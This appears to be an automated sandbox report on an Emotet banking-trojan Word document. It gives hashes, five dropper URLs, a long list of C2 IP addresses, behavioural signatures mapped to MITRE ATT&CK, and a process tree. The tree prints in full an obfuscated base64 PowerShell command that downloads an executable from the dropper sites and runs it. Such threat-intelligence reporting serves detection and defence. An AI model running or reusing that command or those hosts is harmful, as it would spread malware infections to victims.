emotet | bda50cbda90e73e240188163338ffe716f7fa0c68f8e8e60d2765500773e6ff9

General

Target
61859774.doc
Size 177KB
Sample200731-byr8cecjce
SHA256 bda50cbda90e73e240188163338ffe716f7fa0c68f8e8e60d2765500773e6ff9
MD5 4150ee4d843fadba4758c609242d1ca3
SHA1 a9b2aaae7d4c6812534da425c1f23b78af6185c0
SHA512 bac9c02f34e23f9a79763b72896a6f0a92726a6f7ac5e4bf49cb2aa25bc7db15a5f63b9d9f0c10d845063ff39516a8611eb9e533e0568f1330112cadeb8247b4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://kmgusa.net/_Media/vcpg_k56w_8d5/
exe.dropper
http://saangberg.com/wp-includes/u_a_vn/
exe.dropper
https://webpresario.com/now/Marck-Script/c3j0x_6_8z2g0sdd/
exe.dropper
https://www.merlincolor.com/stylesheets/46_b_ez5p/
exe.dropper
http://www.geodesign07.com/wp-content/ni9tn_7_6aiui/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
1484	415.exe
3488	dmscript.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3644	2332	powersheLL.exe	69

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1484-9-0x0000000002100000-0x000000000210C000-memory.dmp	emotet
behavioral2/memory/1484-9-0x0000000002100000-0x000000000210C000-memory.dmp	emotet
behavioral2/memory/3488-12-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet
behavioral2/memory/3488-12-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	3644	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1484	415.exe
3488	dmscript.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1484 wrote to memory of 3488	1484	415.exe	78
PID 1484 wrote to memory of 3488	1484	415.exe	78
PID 1484 wrote to memory of 3488	1484	415.exe	78

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\slcext\dmscript.exe	415.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3644	powersheLL.exe
3644	powersheLL.exe
3644	powersheLL.exe
3488	dmscript.exe
3488	dmscript.exe
3488	dmscript.exe
3488	dmscript.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\61859774.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAFYATgBCAEgAdwB1AHoAPQAnAFMAUABGAEMAWgBhAGgAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIASQBgAFQAeQBwAGAAUgBPAHQATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFgATABRAEgATABvAHAAbAAgAD0AIAAnADQAMQA1ACcAOwAkAFIASgBSAEkATgBlAGkAbAA9ACcASgBQAFkAWABMAGQAbAB3ACcAOwAkAFUARgBOAEYAQQBwAHEAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABMAFEASABMAG8AcABsACsAJwAuAGUAeABlACcAOwAkAFQAWQBSAEwAQgBtAHgAbQA9ACcAVgBMAFAAWgBDAGUAYwB0ACcAOwAkAEMAQgBUAEQAVABmAGMAcQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBDAEwASQBFAG4AVAA7ACQAWABLAEcAWQBQAGwAZwB3AD0AJwBoAHQAdABwADoALwAvAGsAbQBnAHUAcwBhAC4AbgBlAHQALwBfAE0AZQBkAGkAYQAvAHYAYwBwAGcAXwBrADUANgB3AF8AOABkADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGEAbgBnAGIAZQByAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAXwBhAF8AdgBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGIAcAByAGUAcwBhAHIAaQBvAC4AYwBvAG0ALwBuAG8AdwAvAE0AYQByAGMAawAtAFMAYwByAGkAcAB0AC8AYwAzAGoAMAB4AF8ANgBfADgAegAyAGcAMABzAGQAZAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBlAHIAbABpAG4AYwBvAGwAbwByAC4AYwBvAG0ALwBzAHQAeQBsAGUAcwBoAGUAZQB0AHMALwA0ADYAXwBiAF8AZQB6ADUAcAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAZQBvAGQAZQBzAGkAZwBuADAANwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG4AaQA5AHQAbgBfADcAXwA2AGEAaQB1AGkALwAnAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIATgBBAFcAWQBsAHYAcQA9ACcAVABSAFQAWQBPAGUAeQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAEEATgBNAFcAcQBkAHMAIABpAG4AIAAkAFgASwBHAFkAUABsAGcAdwApAHsAdAByAHkAewAkAEMAQgBUAEQAVABmAGMAcQAuACIAZABgAE8AVwBOAEwATwBBAGQAZgBJAGAAbABlACIAKAAkAFEAQQBOAE0AVwBxAGQAcwAsACAAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVgBHAEkARQBLAGIAYwBuAD0AJwBLAEoATQBVAFYAcwBhAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABVAEYATgBGAEEAcABxAGIAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADcANgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAARQBBAHQAZQAiACgAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVwBBAEYAUABLAHoAZAB1AD0AJwBXAFgATABCAE4AcwBnAG0AJwA7AGIAcgBlAGEAawA7ACQAVwBDAFoAVABLAGwAawBnAD0AJwBaAFcAQgBZAEUAdQBvAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBRAFgARQBIAGcAdQByAD0AJwBZAEkAWgBDAE8AZgBnAG0AJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3644

C:\Users\Admin\415.exe
C:\Users\Admin\415.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1484
- C:\Windows\SysWOW64\slcext\dmscript.exe
  "C:\Windows\SysWOW64\slcext\dmscript.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1484-9-0x0000000002100000-0x000000000210C000-memory.dmp

Download

memory/2584-3-0x000001F9E2BDF000-0x000001F9E2BE4000-memory.dmp

Download

memory/2584-5-0x000001F9E625E000-0x000001F9E6272000-memory.dmp

Download

memory/2584-6-0x000001F9E625E000-0x000001F9E6272000-memory.dmp

Download

memory/2584-4-0x000001F9E625E000-0x000001F9E6272000-memory.dmp

Download

memory/2584-0-0x000001F9E5F31000-0x000001F9E5F51000-memory.dmp

Download

memory/2584-2-0x000001F9E5F31000-0x000001F9E5F51000-memory.dmp

Download

memory/2584-1-0x000001F9E5F31000-0x000001F9E5F51000-memory.dmp

Download

memory/3488-12-0x00000000005A0000-0x00000000005AC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads